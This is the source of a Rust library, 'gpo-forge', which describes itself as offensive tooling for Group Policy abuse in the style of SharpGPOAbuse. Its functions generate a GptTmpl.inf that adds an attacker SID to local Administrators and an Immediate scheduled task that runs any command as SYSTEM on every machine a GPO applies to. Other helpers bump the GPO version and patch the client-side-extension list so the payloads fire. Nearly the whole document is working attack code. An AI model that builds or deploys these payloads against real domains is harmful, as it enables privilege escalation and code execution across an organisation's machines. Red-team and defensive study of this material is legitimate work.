gpo-forge 0.1.0

Offensive Group Policy Object write payloads: AddLocalAdmin (GptTmpl.inf), NewImmediateTask (ScheduledTasks.xml), gPCMachineExtensionNames CSE-list builder, and gpt.ini / versionNumber bump helpers. The offline payload-construction half of a SharpGPOAbuse-equivalent; SYSVOL write and LDAP modify are the caller's transport.
Documentation
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
203
204
205
206
207
208
209
210
211
212
213
214
215
216
217
218
219
220
221
222
223
224
225
226
227
228
229
230
231
232
233
234
235
236
237
238
239
240
241
242
243
244
245
246
247
248
249
250
251
252
253
254
255
256
257
258
259
260
261
262
263
264
265
266
267
268
269
270
271
272
273
274
275
276
277
278
279
280
281
282
283
284
285
286
287
288
289
290
291
292
293
294
295
296
297
298
299
300
301
302
303
304
305
306
307
308
309
310
311
312
313
314
315
316
317
318
319
320
321
322
323
324
325
326
327
328
329
330
331
332
333
334
335
336
337
338
339
340
341
342
343
344
345
346
347
348
349
350
351
352
353
354
355
356
357
358
359
360
361
362
363
364
365
366
367
368
369
370
371
372
373
374
375
376
377
378
379
380
381
382
383
384
385
386
387
388
389
390
391
392
393
394
395
396
397
398
399
400
401
402
403
404
405
406
407
408
409
410
411
412
413
414
415
416
417
418
419
420
421
422
423
424
425
426
427
428
429
430
431
//! **gpo-forge** — offensive Group Policy Object write payloads.
//!
//! # What SharpGPOAbuse-class attacks need
//!
//! Once an attacker has `Write` on a GPO object (via a delegated OU
//! creator, `gPLink` write, or SDDL misconfiguration), they can turn that
//! into machine or user compromise by dropping one of a small set of
//! well-known files into SYSVOL:
//!
//! * **AddLocalAdmin** → append a SID to `[Group Membership]` in
//!   `Machine\Microsoft\Windows NT\SecEdit\GptTmpl.inf`. Applies via the
//!   Security CSE on the next `gpupdate`. Persistent because the CSE
//!   *sets* group membership — it doesn't merge — so a scheduled reset
//!   from a legitimate admin gets clobbered every 90 minutes.
//!
//! * **NewImmediateTask** → drop a `ScheduledTasks.xml` at
//!   `Machine\Preferences\ScheduledTasks\ScheduledTasks.xml`. The Scheduled
//!   Tasks CSE registers the task as SYSTEM at policy-refresh time and
//!   runs it exactly once (`Immediate`). Combined with an
//!   attacker-controlled command line this is a clean SYSTEM RCE on every
//!   machine the GPO applies to.
//!
//! Both attacks need three extra pieces the CSE machinery relies on:
//!
//! 1. `gpt.ini` at the GPO root, with the `Version=` field bumped so
//!    clients pick up the change.
//! 2. `gPCFileSysPath` — the LDAP path pointing at the SYSVOL directory
//!    (must exist and match the GUID; the caller already has this).
//! 3. `gPCMachineExtensionNames` (LDAP) updated so the CSE actually
//!    processes the newly-added file — Windows only runs a CSE if its
//!    GUID appears in the extension list.
//!
//! # What this crate builds
//!
//! * [`add_local_admin_gpttmpl`] — the full `GptTmpl.inf` content that
//!   adds `trustee_sid` to BUILTIN\Administrators. Overwrites any existing
//!   file — the caller merges if merge semantics are needed.
//! * [`new_immediate_task_xml`] — the `ScheduledTasks.xml` content
//!   registering an Immediate task that runs `command` as SYSTEM.
//! * [`gpt_ini`] — the `gpt.ini` content with `Version=<n>`.
//! * [`bump_gpo_version_number`] — the versionNumber math (upper 16 bits
//!   = user counter, lower 16 = computer counter).
//! * [`cse_list_add`] — merge a required CSE GUID into an existing
//!   `gPCMachineExtensionNames` / `gPCUserExtensionNames` value.
//! * CSE GUID constants (`CSE_GUID_*`) for the two attacks above.
//!
//! # What this crate does not do
//!
//! * No SYSVOL SMB write. Use `smb2-client` or your existing SMB layer.
//! * No LDAP write for `versionNumber` / `gPCMachineExtensionNames`. Use
//!   `adhammer-ldap` / `msldap-ext` / `ldap3`.
//! * No permission preflight — the caller is expected to verify write
//!   ACL on the GPO (via `ad-acl`) before invoking these builders.

/// Security CSE — the client-side extension that consumes `GptTmpl.inf`
/// and applies group-membership + security-options policy.
pub const CSE_GUID_SECURITY: &str = "{827D319E-6EAC-11D2-A4EA-00C04F79F83A}";

/// The "Security" toolExtensionGuid that must appear on the User side of
/// the extension name list for user policy. For our Machine-scoped
/// attacks we don't need this.
pub const TOOLEXT_GUID_SECURITY: &str = "{803E14A0-B4FB-11D0-A0D0-00A0C90F574B}";

/// Scheduled Tasks Preference CSE — consumes `ScheduledTasks.xml`.
pub const CSE_GUID_SCHEDULED_TASKS: &str = "{AADCED64-746C-4633-A97C-D61349046527}";

/// The generic Group Policy Preferences (client-side) tool extension
/// GUID paired with every GPP CSE.
pub const TOOLEXT_GUID_GPP: &str = "{CAB54552-DEEA-4691-817E-ED4A4D1AFC72}";

/// Build the full `GptTmpl.inf` content that adds `trustee_sid` to
/// BUILTIN\Administrators (`*S-1-5-32-544`) via the Security CSE's
/// `[Group Membership]` section.
///
/// `trustee_sid` must be in canonical SDDL form (`S-1-5-21-…-1104`) — the
/// caller is responsible for validating it (see `windows-sddl`).
///
/// # Merge semantics
///
/// The Security CSE *replaces* the target group's membership with what
/// `[Group Membership]` says. To preserve existing DA/EA members that
/// happen to already be direct members of BUILTIN\Administrators, add
/// them to `also_keep` — they will be listed alongside `trustee_sid`.
/// Nested group memberships (e.g. Domain Admins → BUILTIN\Administrators
/// via BuiltinAdministrators.Members) are handled by AD, not the CSE, and
/// are not affected.
pub fn add_local_admin_gpttmpl(trustee_sid: &str, also_keep: &[&str]) -> String {
    let mut members = vec![format!("*{trustee_sid}")];
    for s in also_keep {
        members.push(format!("*{s}"));
    }
    let joined = members.join(",");
    // UTF-16LE BOM is normally the on-wire encoding; this string is UTF-8
    // — the caller encodes at write time. Line endings are CRLF (SYSVOL
    // consumers on Windows are strict here).
    let mut s = String::new();
    s.push_str("[Unicode]\r\n");
    s.push_str("Unicode=yes\r\n");
    s.push_str("[Version]\r\n");
    s.push_str("signature=\"$CHICAGO$\"\r\n");
    s.push_str("Revision=1\r\n");
    s.push_str("[Group Membership]\r\n");
    s.push_str(&format!("*S-1-5-32-544__Memberof =\r\n"));
    s.push_str(&format!("*S-1-5-32-544__Members = {joined}\r\n"));
    s
}

/// Build the `ScheduledTasks.xml` content that registers an Immediate
/// task running `command` (with optional `arguments`) as `NT AUTHORITY\SYSTEM`
/// exactly once at next policy refresh.
///
/// The Preference `action="C"` (Create) with `enabled=1` + `type="ImmediateTaskV2"`
/// is the exact SharpGPOAbuse-shape shape most environments accept without
/// user prompt. `task_guid` should be a fresh Windows-shape GUID
/// (`{XXXXXXXX-XXXX-XXXX-XXXX-XXXXXXXXXXXX}`) — caller supplies for
/// determinism / testability.
pub fn new_immediate_task_xml(
    task_name: &str,
    task_guid: &str,
    author: &str,
    command: &str,
    arguments: Option<&str>,
) -> String {
    let args = arguments.unwrap_or("");
    // Encoded as UTF-8 (XML spec allows it); Windows will honour <?xml
    // encoding="UTF-8"?>. The CSE parses either.
    format!(
        r#"<?xml version="1.0" encoding="UTF-8"?>
<ScheduledTasks clsid="{{CC63F200-7309-4ba0-B154-A71CD118DBCC}}">
  <ImmediateTaskV2 clsid="{{9756B581-76EC-4169-9AFC-0CA8D43ADB5F}}" name="{name}" image="0" changed="2026-01-01 00:00:00" uid="{guid}" userContext="0" removePolicy="0">
    <Properties action="C" name="{name}" runAs="NT AUTHORITY\SYSTEM" logonType="S4U">
      <Task version="1.3">
        <RegistrationInfo>
          <Author>{author}</Author>
          <Description></Description>
        </RegistrationInfo>
        <Principals>
          <Principal id="Author">
            <UserId>NT AUTHORITY\System</UserId>
            <RunLevel>HighestAvailable</RunLevel>
            <LogonType>S4U</LogonType>
          </Principal>
        </Principals>
        <Settings>
          <IdleSettings>
            <Duration>PT10M</Duration>
            <WaitTimeout>PT1H</WaitTimeout>
            <StopOnIdleEnd>true</StopOnIdleEnd>
            <RestartOnIdle>false</RestartOnIdle>
          </IdleSettings>
          <MultipleInstancesPolicy>IgnoreNew</MultipleInstancesPolicy>
          <DisallowStartIfOnBatteries>false</DisallowStartIfOnBatteries>
          <StopIfGoingOnBatteries>true</StopIfGoingOnBatteries>
          <AllowHardTerminate>false</AllowHardTerminate>
          <StartWhenAvailable>true</StartWhenAvailable>
          <RunOnlyIfNetworkAvailable>false</RunOnlyIfNetworkAvailable>
          <AllowStartOnDemand>true</AllowStartOnDemand>
          <Enabled>true</Enabled>
          <Hidden>false</Hidden>
          <RunOnlyIfIdle>false</RunOnlyIfIdle>
          <WakeToRun>false</WakeToRun>
          <ExecutionTimeLimit>P3D</ExecutionTimeLimit>
          <Priority>7</Priority>
          <DeleteExpiredTaskAfter>PT0S</DeleteExpiredTaskAfter>
        </Settings>
        <Actions Context="Author">
          <Exec>
            <Command>{cmd}</Command>
            <Arguments>{args}</Arguments>
          </Exec>
        </Actions>
      </Task>
    </Properties>
  </ImmediateTaskV2>
</ScheduledTasks>
"#,
        name = xml_escape(task_name),
        guid = task_guid,
        author = xml_escape(author),
        cmd = xml_escape(command),
        args = xml_escape(args),
    )
}

/// Build a `gpt.ini` file with `Version=<n>`. `display_name` is written
/// into the (informational) `DisplayName=` field the ADMX loader shows.
pub fn gpt_ini(display_name: &str, version: u32) -> String {
    format!(
        "[General]\r\nVersion={version}\r\ndisplayName={dn}\r\n",
        version = version,
        dn = display_name,
    )
}

/// Compute the new `versionNumber` value for a GPO's LDAP attribute.
///
/// `versionNumber` is packed: upper 16 bits count user-side changes,
/// lower 16 bits count computer-side changes. Every write of GPO content
/// must bump the counter for the side whose files changed, otherwise
/// clients cache the old policy and the attack silently no-ops.
///
/// `computer_bump = true` = we modified a Machine\... file (typical for
/// AddLocalAdmin / NewImmediateTask); `false` = User\... side.
pub fn bump_gpo_version_number(current: u32, computer_bump: bool) -> u32 {
    let user = (current >> 16) & 0xFFFF;
    let computer = current & 0xFFFF;
    if computer_bump {
        let new_computer = (computer + 1) & 0xFFFF;
        (user << 16) | new_computer
    } else {
        let new_user = (user + 1) & 0xFFFF;
        (new_user << 16) | computer
    }
}

/// Split a packed `versionNumber` into `(user, computer)` counters.
pub fn split_gpo_version_number(v: u32) -> (u16, u16) {
    (((v >> 16) & 0xFFFF) as u16, (v & 0xFFFF) as u16)
}

/// Merge `required_cse` + `required_toolext` into an existing
/// `gPCMachineExtensionNames` (or `gPCUserExtensionNames`) value.
///
/// The attribute format is `[{CSE-GUID}{TOOLEXT-GUID}…][{CSE-GUID}{TOOLEXT-GUID}…]…`
/// with pairs sorted lexicographically by CSE GUID. Windows won't invoke
/// a CSE whose GUID isn't listed, so this merge step is mandatory after
/// dropping a `GptTmpl.inf` or `ScheduledTasks.xml`.
///
/// Returns the new attribute value (empty string if the caller had no
/// prior value). Idempotent — re-adding an existing pair is a no-op.
pub fn cse_list_add(existing: &str, required_cse: &str, required_toolext: &str) -> String {
    let mut groups = parse_ext_names(existing);
    let entry = groups.entry(required_cse.to_string()).or_default();
    if !entry.iter().any(|g| g == required_toolext) {
        entry.push(required_toolext.to_string());
    }
    render_ext_names(&groups)
}

fn parse_ext_names(s: &str) -> std::collections::BTreeMap<String, Vec<String>> {
    let mut out = std::collections::BTreeMap::<String, Vec<String>>::new();
    // Each top-level bracket group is `[{CSE}{TE1}{TE2}…]`.
    let mut i = 0;
    let bytes = s.as_bytes();
    while i < bytes.len() {
        if bytes[i] != b'[' {
            i += 1;
            continue;
        }
        let end = match s[i + 1..].find(']') {
            Some(k) => i + 1 + k,
            None => break,
        };
        let inner = &s[i + 1..end];
        let mut guids: Vec<String> = Vec::new();
        let mut j = 0;
        let inb = inner.as_bytes();
        while j < inb.len() {
            if inb[j] != b'{' {
                j += 1;
                continue;
            }
            let close = match inner[j..].find('}') {
                Some(k) => j + k,
                None => break,
            };
            guids.push(inner[j..=close].to_string());
            j = close + 1;
        }
        if let Some((cse, rest)) = guids.split_first() {
            let entry = out.entry(cse.clone()).or_default();
            for te in rest {
                if !entry.iter().any(|g| g == te) {
                    entry.push(te.clone());
                }
            }
        }
        i = end + 1;
    }
    out
}

fn render_ext_names(groups: &std::collections::BTreeMap<String, Vec<String>>) -> String {
    let mut out = String::new();
    for (cse, tes) in groups {
        out.push('[');
        out.push_str(cse);
        for te in tes {
            out.push_str(te);
        }
        out.push(']');
    }
    out
}

fn xml_escape(s: &str) -> String {
    let mut out = String::with_capacity(s.len());
    for c in s.chars() {
        match c {
            '<' => out.push_str("&lt;"),
            '>' => out.push_str("&gt;"),
            '&' => out.push_str("&amp;"),
            '"' => out.push_str("&quot;"),
            '\'' => out.push_str("&apos;"),
            _ => out.push(c),
        }
    }
    out
}

#[cfg(test)]
mod tests {
    use super::*;

    #[test]
    fn gpttmpl_carries_trustee_sid_and_bracket_sections() {
        let out = add_local_admin_gpttmpl("S-1-5-21-1-2-3-1104", &[]);
        assert!(out.starts_with("[Unicode]"));
        assert!(out.contains("[Group Membership]"));
        assert!(out.contains("*S-1-5-32-544__Members = *S-1-5-21-1-2-3-1104"));
        // CRLF line endings are what SYSVOL consumers on Windows expect.
        assert!(out.contains("\r\n"));
    }

    #[test]
    fn gpttmpl_preserves_also_keep_list() {
        let out = add_local_admin_gpttmpl(
            "S-1-5-21-1-2-3-1104",
            &["S-1-5-21-1-2-3-500", "S-1-5-21-1-2-3-512"],
        );
        assert!(out.contains("*S-1-5-21-1-2-3-1104"));
        assert!(out.contains("*S-1-5-21-1-2-3-500"));
        assert!(out.contains("*S-1-5-21-1-2-3-512"));
    }

    #[test]
    fn immediate_task_xml_embeds_command_and_guid() {
        let xml = new_immediate_task_xml(
            "AuditRun",
            "{12345678-1234-1234-1234-123456789abc}",
            "corp\\audit-svc",
            "C:\\Windows\\System32\\cmd.exe",
            Some("/c whoami > C:\\a.txt"),
        );
        assert!(xml.contains("<Command>C:\\Windows\\System32\\cmd.exe</Command>"));
        assert!(xml.contains("<Arguments>/c whoami &gt; C:\\a.txt</Arguments>"));
        assert!(xml.contains("uid=\"{12345678-1234-1234-1234-123456789abc}\""));
        assert!(xml.contains("runAs=\"NT AUTHORITY\\SYSTEM\""));
        assert!(xml.contains("ImmediateTaskV2"));
    }

    #[test]
    fn immediate_task_xml_escapes_special_chars() {
        let xml = new_immediate_task_xml(
            "a<>&\"'",
            "{00000000-0000-0000-0000-000000000000}",
            "author",
            "cmd",
            Some("a & b"),
        );
        assert!(xml.contains("&lt;"));
        assert!(xml.contains("&gt;"));
        assert!(xml.contains("&amp;"));
        assert!(xml.contains("&quot;"));
        assert!(xml.contains("&apos;"));
        assert!(xml.contains("<Arguments>a &amp; b</Arguments>"));
    }

    #[test]
    fn gpt_ini_shape() {
        let s = gpt_ini("Adhammer Test GPO", 4);
        assert!(s.contains("Version=4"));
        assert!(s.contains("[General]"));
        assert!(s.contains("displayName=Adhammer Test GPO"));
    }

    #[test]
    fn bump_version_number_math() {
        // Fresh GPO: 0. Bumping computer → 1.
        assert_eq!(bump_gpo_version_number(0, true), 1);
        // Bumping user → 0x0001_0000.
        assert_eq!(bump_gpo_version_number(0, false), 0x0001_0000);
        // Mixed: user=3, computer=5 → 0x0003_0005.
        let mixed = 0x0003_0005u32;
        assert_eq!(split_gpo_version_number(mixed), (3, 5));
        assert_eq!(bump_gpo_version_number(mixed, true), 0x0003_0006);
        assert_eq!(bump_gpo_version_number(mixed, false), 0x0004_0005);
        // Wraparound at 16 bits.
        assert_eq!(bump_gpo_version_number(0x0000_FFFF, true), 0);
    }

    #[test]
    fn cse_list_add_to_empty() {
        let out = cse_list_add("", CSE_GUID_SCHEDULED_TASKS, TOOLEXT_GUID_GPP);
        assert_eq!(
            out,
            format!("[{}{}]", CSE_GUID_SCHEDULED_TASKS, TOOLEXT_GUID_GPP)
        );
    }

    #[test]
    fn cse_list_add_is_idempotent() {
        let base = format!("[{}{}]", CSE_GUID_SECURITY, TOOLEXT_GUID_SECURITY);
        let out = cse_list_add(&base, CSE_GUID_SECURITY, TOOLEXT_GUID_SECURITY);
        assert_eq!(out, base);
    }

    #[test]
    fn cse_list_add_preserves_existing_and_appends_new() {
        let base = format!("[{}{}]", CSE_GUID_SECURITY, TOOLEXT_GUID_SECURITY);
        let out = cse_list_add(&base, CSE_GUID_SCHEDULED_TASKS, TOOLEXT_GUID_GPP);
        // Order is sorted-by-CSE-GUID; both entries must be present.
        assert!(out.contains(CSE_GUID_SECURITY));
        assert!(out.contains(CSE_GUID_SCHEDULED_TASKS));
        assert!(out.contains(TOOLEXT_GUID_SECURITY));
        assert!(out.contains(TOOLEXT_GUID_GPP));
    }

    #[test]
    fn cse_list_add_merges_new_toolext_to_existing_cse() {
        let base = format!("[{}{}]", CSE_GUID_SECURITY, TOOLEXT_GUID_SECURITY);
        // Same CSE, add a second toolext.
        let extra = "{DEADBEEF-1234-1234-1234-DEADBEEFDEAD}";
        let out = cse_list_add(&base, CSE_GUID_SECURITY, extra);
        assert!(out.contains(CSE_GUID_SECURITY));
        assert!(out.contains(TOOLEXT_GUID_SECURITY));
        assert!(out.contains(extra));
        // Still a single bracket group.
        assert_eq!(out.matches('[').count(), 1);
    }
}